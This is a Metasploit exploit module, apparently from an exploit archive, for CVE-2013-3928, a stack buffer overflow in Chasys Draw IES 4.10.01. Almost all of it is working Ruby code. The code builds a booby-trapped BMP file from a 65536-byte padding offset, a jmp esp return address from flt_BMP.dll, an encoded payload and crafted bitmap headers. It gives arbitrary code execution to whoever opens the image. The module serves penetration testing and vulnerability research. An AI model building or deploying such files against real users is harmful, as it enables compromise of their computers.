Chasys Draw IES Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Chasys Draw IES Buffer Overflow",  
'Description' => %q{  
This module exploits a buffer overflow vulnerability found in Chasys Draw IES  
(version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while  
parsing BMP files, where the ReadFile function is used to store user provided data  
on the stack in a insecure way. It results in arbitrary code execution under the  
context of the user viewing a specially crafted BMP file. This module has been  
tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7  
SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Christopher Gabriel', # Vulnerability Discovery  
'Longinos Recuero Bustos', # PoC  
'Javier \'soez\'', # PoC  
'juan vazquez' # Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2013-3928' ],  
[ 'BID', '61463' ],  
[ 'URL', 'http://secunia.com/advisories/53773/' ],  
[ 'URL', 'http://longinox.blogspot.com/2013/08/explot-stack-based-overflow-bypassing.html' ]  
],  
'Payload' =>  
{  
'Space' => 21112, # Indeed there is more space available on the stack, just limited by the trigger  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1',  
{  
'Offset' => 65536,  
'Ret' => 0x10005fd3 # jmp esp # from flt_BMP.dll v4.10.1.0  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Jul 26 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.bmp']),  
], self.class)  
  
end  
  
def exploit  
  
bof = rand_text(target['Offset'])  
bof << [target.ret].pack("V")  
bof << payload.encoded  
  
bitmap_header = ""  
bitmap_header << [0x28].pack("V") # HeaderSize  
bitmap_header << [0x4a3].pack("V") # Width # Used to trigger the overflow  
bitmap_header << [0x1].pack("V") # Height  
bitmap_header << [0x9].pack("v") # Planes # Used to trigger the overflow  
bitmap_header << [0x41].pack("v") # BitCount # Used to trigger the overflow  
bitmap_header << [0x0].pack("V") # Compression  
bitmap_header << [bof.length].pack("V") # SizeImage  
bitmap_header << [0x0].pack("V") # PelsPerMeterX  
bitmap_header << [0x0].pack("V") # PelsPerMeterY  
bitmap_header << [0x0].pack("V") # ClrUse  
bitmap_header << [0x0].pack("V") # ClrImportant  
  
total_size = bof.length + bitmap_header.length + 14 # 14 => file header length  
  
file_header = ""  
file_header << "BM" # Signature  
file_header << [total_size].pack("V") # Size  
file_header << [0].pack("V") # Reserved  
file_header << [0x36].pack("V") # BitsOffsets  
  
bmp = file_header + bitmap_header + bof  
file_create(bmp)  
end  
end  
  
`